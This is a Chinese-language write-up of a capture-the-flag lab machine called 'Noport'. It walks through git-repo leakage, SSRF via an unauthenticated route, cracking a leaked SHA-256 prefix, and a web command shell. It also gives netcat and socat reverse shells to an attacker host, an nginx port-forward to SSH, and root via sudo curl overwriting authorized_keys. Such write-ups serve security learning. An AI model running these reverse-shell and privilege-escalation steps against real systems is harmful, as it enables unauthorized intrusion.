0%

群友靶机-Noport复盘

做了一天没做出来,看了wp复盘总结一下

端口扫描

简单扫一下端口开放什么

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kakeru)-[~/tmp]
└─# nmap -p- 192.168.34.83
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 19:37 CST
Nmap scan report for bogon (192.168.34.83)
Host is up (0.029s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
MAC Address: C8:21:58:16:CF:C4 (Intel Corporate)

Nmap done: 1 IP address (1 host up) scanned in 143.86 seconds

只开放了80端口

web

首页就是一个登录界面,也爆破不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kakeru)-[~/tmp]
└─# curl 192.168.34.83
<!DOCTYPE html>
<html>
<head><title>Login</title></head>
<body>
<h2>Login</h2>
<form method="post" action="/login">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>

扫一下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
┌──(root㉿kakeru)-[~/tmp]
└─# dirsearch -u 192.168.34.83
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/tmp/reports/_192.168.34.83/_25-04-24_19-53-39.txt

Target: http://192.168.34.83/

[19:53:45] Starting:
[19:53:47] 403 - 548B - /.config/gcloud/access_tokens.db
[19:53:47] 403 - 548B - /.config/gcloud/credentials.db
[19:53:47] 403 - 548B - /.db
[19:53:47] 200 - 997B - /.git/hooks/
[19:53:47] 200 - 307B - /.git/branches/
[19:53:47] 200 - 73B - /.git/description
[19:53:47] 200 - 92B - /.git/config
[19:53:47] 301 - 311B - /.git -> http://192.168.34.83/.git/
[19:53:47] 200 - 14B - /.git/COMMIT_EDITMSG
[19:53:47] 200 - 23B - /.git/HEAD
[19:53:47] 200 - 726B - /.git/
[19:53:47] 200 - 339B - /.git/info/
[19:53:47] 200 - 441B - /.git/index
[19:53:47] 200 - 369B - /.git/logs/
[19:53:47] 200 - 160B - /.git/logs/HEAD
[19:53:47] 200 - 240B - /.git/info/exclude
[19:53:47] 301 - 321B - /.git/logs/refs -> http://192.168.34.83/.git/logs/refs/
[19:53:47] 200 - 160B - /.git/logs/refs/heads/master
[19:53:47] 301 - 327B - /.git/logs/refs/heads -> http://192.168.34.83/.git/logs/refs/heads/
[19:53:47] 200 - 633B - /.git/objects/
[19:53:47] 301 - 322B - /.git/refs/heads -> http://192.168.34.83/.git/refs/heads/
[19:53:47] 200 - 41B - /.git/refs/heads/master
[19:53:47] 200 - 373B - /.git/refs/
[19:53:47] 301 - 321B - /.git/refs/tags -> http://192.168.34.83/.git/refs/tags/
[19:53:47] 403 - 276B - /.htaccess.bak1
[19:53:47] 403 - 276B - /.ht_wsr.txt
[19:53:47] 403 - 276B - /.htaccess.orig
[19:53:47] 403 - 276B - /.htaccessOLD2
[19:53:47] 403 - 276B - /.htaccess_orig
[19:53:47] 403 - 276B - /.htaccess.sample
[19:53:47] 403 - 276B - /.htaccess_extra
[19:53:47] 403 - 276B - /.htaccess_sc
[19:53:47] 403 - 276B - /.htm
[19:53:47] 403 - 276B - /.htpasswds
[19:53:47] 403 - 276B - /.htpasswd_test
[19:53:47] 403 - 276B - /.htaccess.save
[19:53:47] 403 - 276B - /.htaccessBAK
[19:53:47] 403 - 276B - /.html
[19:53:48] 403 - 276B - /.httr-oauth
[19:53:47] 403 - 276B - /.htaccessOLD
[19:53:49] 403 - 548B - /.svn/wc.db
[19:53:57] 404 - 273B - /cgi-bin/index.html
[19:53:57] 404 - 273B - /cgi-bin/a1stats/a1disp.cgi
[19:53:57] 404 - 273B - /cgi-bin/awstats/
[19:53:57] 404 - 273B - /cgi-bin/htimage.exe?2,2
[19:53:57] 404 - 273B - /cgi-bin/imagemap.exe?2,2
[19:53:57] 404 - 273B - /cgi-bin/htmlscript
[19:53:57] 404 - 273B - /cgi-bin/awstats.pl
[19:53:57] 404 - 273B - /cgi-bin/
[19:53:57] 404 - 273B - /cgi-bin/login.php
[19:53:57] 404 - 273B - /cgi-bin/mt.cgi
[19:53:57] 404 - 273B - /cgi-bin/mt/mt.cgi
[19:53:57] 404 - 273B - /cgi-bin/login
[19:53:57] 404 - 273B - /cgi-bin/login.cgi
[19:53:57] 404 - 273B - /cgi-bin/mt-xmlrpc.cgi
[19:53:57] 404 - 273B - /cgi-bin/mt/mt-xmlrpc.cgi
[19:53:57] 404 - 273B - /cgi-bin/test.cgi
[19:53:57] 404 - 273B - /cgi-bin/mt7/mt.cgi
[19:53:57] 404 - 273B - /cgi-bin/php.ini
[19:53:57] 200 - 820B - /cgi-bin/printenv
[19:53:57] 404 - 273B - /cgi-bin/ViewLog.asp
[19:53:57] 200 - 1KB - /cgi-bin/test-cgi
[19:53:57] 404 - 273B - /cgi-bin/mt7/mt-xmlrpc.cgi
[19:53:57] 404 - 273B - /cgi-bin/printenv.pl
[19:54:00] 403 - 548B - /devdata.db
[19:54:00] 403 - 548B - /ehthumbs.db
[19:54:05] 200 - 1KB - /log
[19:54:05] 404 - 273B - /log/error_log
[19:54:05] 404 - 273B - /log/exception.log
[19:54:05] 404 - 273B - /log/log.txt
[19:54:05] 404 - 273B - /log/errors.log
[19:54:05] 404 - 273B - /log/log.log
[19:54:05] 404 - 273B - /log/error.log
[19:54:05] 404 - 273B - /log/access.log
[19:54:05] 404 - 273B - /log/access_log
[19:54:05] 404 - 273B - /log/
[19:54:05] 404 - 273B - /log/authorizenet.log
[19:54:05] 404 - 273B - /log/librepag.log
[19:54:05] 404 - 273B - /log/payment_authorizenet.log
[19:54:05] 404 - 273B - /log/payment.log
[19:54:05] 404 - 273B - /log/old
[19:54:05] 404 - 273B - /log/development.log
[19:54:05] 404 - 273B - /log/payment_paypal_express.log
[19:54:05] 404 - 273B - /log/server.log
[19:54:05] 404 - 273B - /log/production.log
[19:54:05] 404 - 273B - /log/test.log
[19:54:05] 404 - 273B - /log/www-error.log
[19:54:07] 403 - 548B - /mysqlitedb.db
[19:54:07] 200 - 1KB - /nginx.conf
[19:54:10] 403 - 548B - /pwd.db
[19:54:13] 403 - 548B - /spwd.db
[19:54:14] 200 - 0B - /test.php
[19:54:15] 403 - 548B - /Thumbs.db
[19:54:15] 403 - 548B - /thumbs.db
[19:54:16] 403 - 548B - /users.db

Task Completed

发现有git目录 说明存在git仓库泄漏,把这个git仓库下载下来,然后用gitdumper工具恢复一下git仓库
https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh
看lingdong佬的wp也学到另一个工具可以恢复git仓库 githack
https://github.com/lijiejie/GitHack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌──(root㉿kakeru)-[~/tmp]
└─# ./gitdumper.sh http://192.168.34.83/.git/ ./recovery
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating ./recovery/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/b4/09ae52f1f27e51c0041a1a9079d301133266fa
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/64/42f9558de272627d5bdc2baa8808e3e46e0918
[+] Downloaded: objects/af/f22f58c8dcfd5535cab50dca5b2bb2c2b79435
[+] Downloaded: objects/3a/54667fdd1357fe97cc0030aca0543650733ba8
[+] Downloaded: objects/0e/926b0dccc3ebabc70d5ec935c8940f1111363a
[+] Downloaded: objects/fb/3f381eefe8c33ea7151921e637f9a8ee7cad15
[+] Downloaded: objects/54/e3cc3f64b031833ce92d7a677f99c8f3ee0750

┌──(root㉿kakeru)-[~/tmp]
└─# cd recovery

┌──(root㉿kakeru)-[~/tmp/recovery]
└─# ls -al
total 12
drwxr-xr-x 3 root root 4096 Apr 24 19:45 .
drwxr-xr-x 9 root root 4096 Apr 24 19:45 ..
drwxr-xr-x 6 root root 4096 Apr 24 19:45 .git

┌──(root㉿kakeru)-[~/tmp/recovery]
└─# cd .git

┌──(root㉿kakeru)-[~/tmp/recovery/.git]
└─# ls -al
total 44
drwxr-xr-x 6 root root 4096 Apr 24 19:45 .
drwxr-xr-x 3 root root 4096 Apr 24 19:45 ..
-rw-r--r-- 1 root root 14 Apr 24 19:45 COMMIT_EDITMSG
-rw-r--r-- 1 root root 92 Apr 24 19:45 config
-rw-r--r-- 1 root root 73 Apr 24 19:45 description
-rw-r--r-- 1 root root 23 Apr 24 19:45 HEAD
-rw-r--r-- 1 root root 441 Apr 24 19:45 index
drwxr-xr-x 2 root root 4096 Apr 24 19:45 info
drwxr-xr-x 3 root root 4096 Apr 24 19:45 logs
drwxr-xr-x 11 root root 4096 Apr 24 19:45 objects
drwxr-xr-x 5 root root 4096 Apr 24 19:45 refs

我显示看了config 但是里面没有有用的信息 然后gpt了一下,知道有一个 git check – 命令可以还原工作区之前的文件这里有一个index我就恢复一下index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kakeru)-[~/tmp/recovery/.git]
└─# cd ../

┌──(root㉿kakeru)-[~/tmp/recovery]
└─# git checkout -- index.php

┌──(root㉿kakeru)-[~/tmp/recovery]
└─# ls -al
total 16
drwxr-xr-x 3 root root 4096 Apr 24 19:52 .
drwxr-xr-x 9 root root 4096 Apr 24 19:45 ..
drwxr-xr-x 6 root root 4096 Apr 24 19:52 .git
-rw-r--r-- 1 root root 3951 Apr 24 19:52 index.php

然后就是煎熬的代码审计时间
首先有一个用户认证和数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
function verify_user() {
if (!isset($_SESSION['username'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(["error" => "Please login first"]);
exit;
}
return $_SESSION['username'];
}

function get_db_connection() {
$db = new SQLite3('/var/www/html/database.db');
return $db;
}

然后是visit这个路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $path === 'visit') {
#$username = verify_user();
$uri = $_POST['uri'] ?? '';
if (empty($uri)) {
header('HTTP/1.1 400 Bad Request');
echo json_encode(["error" => "URI is required"]);
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1:8080/test.php?uri=" . urlencode($uri));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Host: 127.0.0.1:8080"
]);
$res=curl_exec($ch);
if (curl_errno($ch)) {
error_log("cURL error calling test.php: " . curl_error($ch));
} else {
error_log("test.php response: " . $response);
}
curl_close($ch);

header('Content-Type: application/json');
echo json_encode(["message" => "Bot is visiting: $uri"]);
exit;
}

这里有一个很关键的点,这里的额用户认证被注释了,所以只有这个路由是不需要认证也可以正常访问的,然后如果用post发送请求,有uri参数,会发送到test.php 作为get请求的参数 。 这里也可以猜测出,如果直接使用test.php访问可能有些本地ip认证 (不过其实并没有)
然后我们可以test.php请求后的内容可以在扫到的log中看到
比如我现在访问test.php?uri=test.php 返回
[2025-04-24 20:00:39] Bot visited test.php, response:
发现这里的返回信息是不完整的。
这里就卡住了我很久 我被login路由迷惑了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $path === 'login') {
$username = $_POST['username'] ?? '';
$password = hash('sha256', $_POST['password']) ?? '';

$db = get_db_connection();
$stmt = $db->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$stmt->bindValue(':password', $password, SQLITE3_TEXT);
$result = $stmt->execute();
$user = $result->fetchArray(SQLITE3_ASSOC);

if ($user) {
$_SESSION['username'] = $user['username'];
echo json_encode(["message" => "Logged in successfully"]);
header('Location: sh3ll.php');
} else {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(["error" => "Invalid credentials"]);
}
$db->close();
exit;
}

这里显示登录之后会跳转到sh3ll.php 然后我继续用test.php读一下sh3ll.php 返回

1
2
3
4
5
[2025-04-24 20:02:06] Bot visited sh3ll.php, response: 
<h2>鎵ц鍛戒护</h2>
<form method="post">
鍛戒护: <input type="text" name="command"><br>
<

这里出现一个post请求,然后command,应该是执行命令,我一直想能不能绕过登录的限制,直接执行sh3ll.php然后命令执行,但是一直不行。
然后index.php还有一部分内容很重要

1
2
3
4
5
6
7
8
if (!empty($path)) {
$username = verify_user();
$db = get_db_connection();
if (preg_match('/^profile/', $path)) {
$stmt = $db->prepare('SELECT id, username, email, password, api_key, created_at FROM users WHERE username = :username');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute();
$user = $result->fetchArray(SQLITE3_ASSOC);

这里显示要是返回profile就会在数据库里面查询,其实这里就是web的关键了,这里就可以获得关键的信息,但是我因为以为在test.php访问之后得到的内容不完整。 然后就没有直接用

1
[2025-04-24 19:59:03] Bot visited profile, response: {"id":1,"username":"admin","email":"admin@example.com","password":"6f06ee724b86fca512018ad692a62aedc

这是一个sha256加密之后的hash
其实就是要爆破,把字典里面的密码sha256加密,然后比较前面的hash,如果一样说明,就是正确的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kakeru)-[~/tmp]
└─# cat tmp.py
import hashlib

# 目标哈希前缀
target_prefix = '6f06ee724b86fca512018ad692a62aedc'

# 字典文件路径
dictionary_file = 'rockyou.txt'

try:
with open(dictionary_file, 'r', encoding='utf-8') as file:
for line in file:
# 去除行尾的换行符
word = line.strip()
# 计算 SHA-256 哈希值
hash_value = hashlib.sha256(word.encode('utf-8')).hexdigest()
# 检查哈希值是否以目标前缀开头
if hash_value.startswith(target_prefix):
print(f'匹配成功!原始字符串为: {word}')
break
else:
print('未找到匹配的字符串。')
except FileNotFoundError:
print(f'字典文件 "{dictionary_file}" 未找到。请确保文件路径正确。')

┌──(root㉿kakeru)-[~/tmp]
└─# python3 tmp.py
匹配成功!原始字符串为: shredder1

得到密码shredder1

登录之后就跳转到sh3ll.php然后可以执行命令 所以下一步就是反弹shell
nc 192.168.34.11 1234 -e /bin/bash

提权

apache

非预期

1
2
3
4
5
6
7
8
9
10
11
12
cd ../
ls -al
total 16
drwxr-xr-x 3 root root 4096 Apr 20 21:43 .
drwxr-xr-x 14 root root 4096 Apr 20 18:22 ..
drwxr-xr-x 4 root root 4096 Apr 20 13:45 localhost
lrwxrwxrwx 1 root root 16 Apr 20 13:45 logs -> /var/log/apache2
lrwxrwxrwx 1 root root 16 Apr 20 13:45 modules -> /usr/lib/apache2
-rw-r--r-- 1 root root 129 Apr 20 21:44 pass
lrwxrwxrwx 1 root root 12 Apr 20 13:45 run -> /run/apache2
cat pass
To prevent myself fron forgetting my password,i set my password to be the same as the website password so that i wont forget it!

找到一个pass文件,说明密码和web密码一样,然后去/home目录下找到用户名akaRed
但是现在的问题是靶机只有80端口开放 用netstat看看现在的端口开放情况

1
2
3
4
5
6
netstat -lntup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -

发现是有22端口在监听的,所以用socat转发一下端口
本地开python http服务 靶机在tmp目录下面下载 然后给执行权限

1
2
3
4
5
6
┌──(root㉿kakeru)-[~/tmp]
└─# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

busybox wget 192.168.34.11:8080/socat

这里socat不能像之前那样简单转发22端口

1
2
3
4
5
6
# 攻击机
┌──(root㉿kakeru)-[~/tmp]
└─# socat file:`tty`,raw,echo=0 tcp-listen:8888

# 靶机
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.34.11:8888

这样的意思就是攻击机上面的终端tty作为I/O目标 设置终端为原始模式,并关闭回显
上来之后切换用户 就用web的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
noport:/tmp$ ssh akaRed@127.0.0.1
Could not create directory '/var/www/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:66Wi/BsnYTXMZk8Pqh7zv03E330mhNj8W21ltvR/uqs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
akaRed@127.0.0.1's password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

noport:~$ id
uid=1000(akaRed) gid=1000(akaRed) groups=1000(akaRed)

预期解

就是不用socat端口转发,实现ssh的方法
这里是nginx的配置可以修改 以及有reboot 的sudo权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
noport:/etc/nginx$ ls -al
total 44
drwxr-xr-x 4 root root 4096 Apr 20 18:27 .
drwxr-xr-x 31 root root 4096 Apr 24 21:30 ..
drwxr-xr-x 2 root root 4096 Apr 20 18:27 conf.d
-rw-r--r-- 1 root root 1077 Jun 14 2021 fastcgi.conf
-rw-r--r-- 1 root root 1007 Jun 14 2021 fastcgi_params
-rw-r--r-- 1 root root 5231 Jun 14 2021 mime.types
drwxr-xr-x 2 root root 4096 Apr 20 18:26 modules
-rwxrwxrwx 1 root root 2489 Apr 21 15:36 nginx.conf
-rw-r--r-- 1 root root 636 Jun 14 2021 scgi_params
-rw-r--r-- 1 root root 664 Jun 14 2021 uwsgi_params

noport:/etc/nginx$ sudo -l
User apache may run the following commands on noport:
(root) NOPASSWD: /sbin/reboot

所以现在可以修改nginx的配置,把80端口改成22端口的流量
所以在nginx.conf 中注释掉 然后添加stream模块

1
2
3
4
5
6
stream {
server {
listen 80;
proxy_pass 127.0.0.1:22;
}
}

重启之后可以使用ssh登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kakeru)-[~/tmp]
└─# ssh akaRed@192.168.34.83 -p 80
The authenticity of host '[192.168.34.83]:80 ([192.168.34.83]:80)' can't be established.
ED25519 key fingerprint is SHA256:svcl4A5xaXn8rkG4hfYviJopD6R/IDTyDXqvnIEwbkE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.34.83]:80' (ED25519) to the list of known hosts.
akaRed@192.168.34.83's password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

noport:~$

akaRed

有curl的sudo权限

1
2
3
4
noport:~$ sudo -l
User akaRed may run the following commands on noport:
(root) NOPASSWD: /usr/bin/curl
(root) NOPASSWD: /sbin/reboot

在本地看一下curl有哪些参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kakeru)-[~/tmp]
└─# curl -h
Usage: curl [options...] <url>
-d, --data <data> HTTP POST data
-f, --fail Fail fast with no output on HTTP errors
-h, --help <subject> Get help for commands
-o, --output <file> Write to file instead of stdout
-O, --remote-name Write output to file named as remote file
-i, --show-headers Show response headers in output
-s, --silent Silent mode
-T, --upload-file <file> Transfer local FILE to destination
-u, --user <user:password> Server user and password
-A, --user-agent <name> Send User-Agent <name> to server
-v, --verbose Make the operation more talkative
-V, --version Show version number and quit

发现有-o参数 可以写入文件,那就好办了 在存放本地公钥的地方开http服务,然后用-o把这个文件写入到root的authorized_keys中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kakeru)-[~/.ssh]
└─# ls
authorized_keys id_ed25519 id_ed25519.pub id_rsa id_rsa.pub known_hosts known_hosts.old

┌──(root㉿kakeru)-[~/.ssh]
└─# python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.34.83 - - [24/Apr/2025 22:19:13] "GET /authorized_keys HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.

noport:~$ sudo /usr/bin/curl 192.168.34.11:8080/authorized_keys -o /root/.ssh/authorized_keys
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 737 100 737 0 0 27723 0 --:--:-- --:--:-- --:--:-- 28346

┌──(root㉿kakeru)-[~/.ssh]
└─# ssh root@192.168.34.83 -p 80
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

noport:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
noport:~#

总结

  • 加强了代码审计 这里没有用户登录注释的地方就是突破点
  • 虽然给出的hash不是完整的,但是可以编写一个脚本来爆破sha256 比对字典里的密码
  • 反弹shell之后用socat转发端口
1
2
3
4
5
# 攻击机
./socat file:`tty`,raw,echo=0 tcp-listen:8888

# 靶机
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.34.11:8888
  • nginx配置可以修改,把原来的80端口修改成转发靶机的22端口
  • curl -o选项写入文件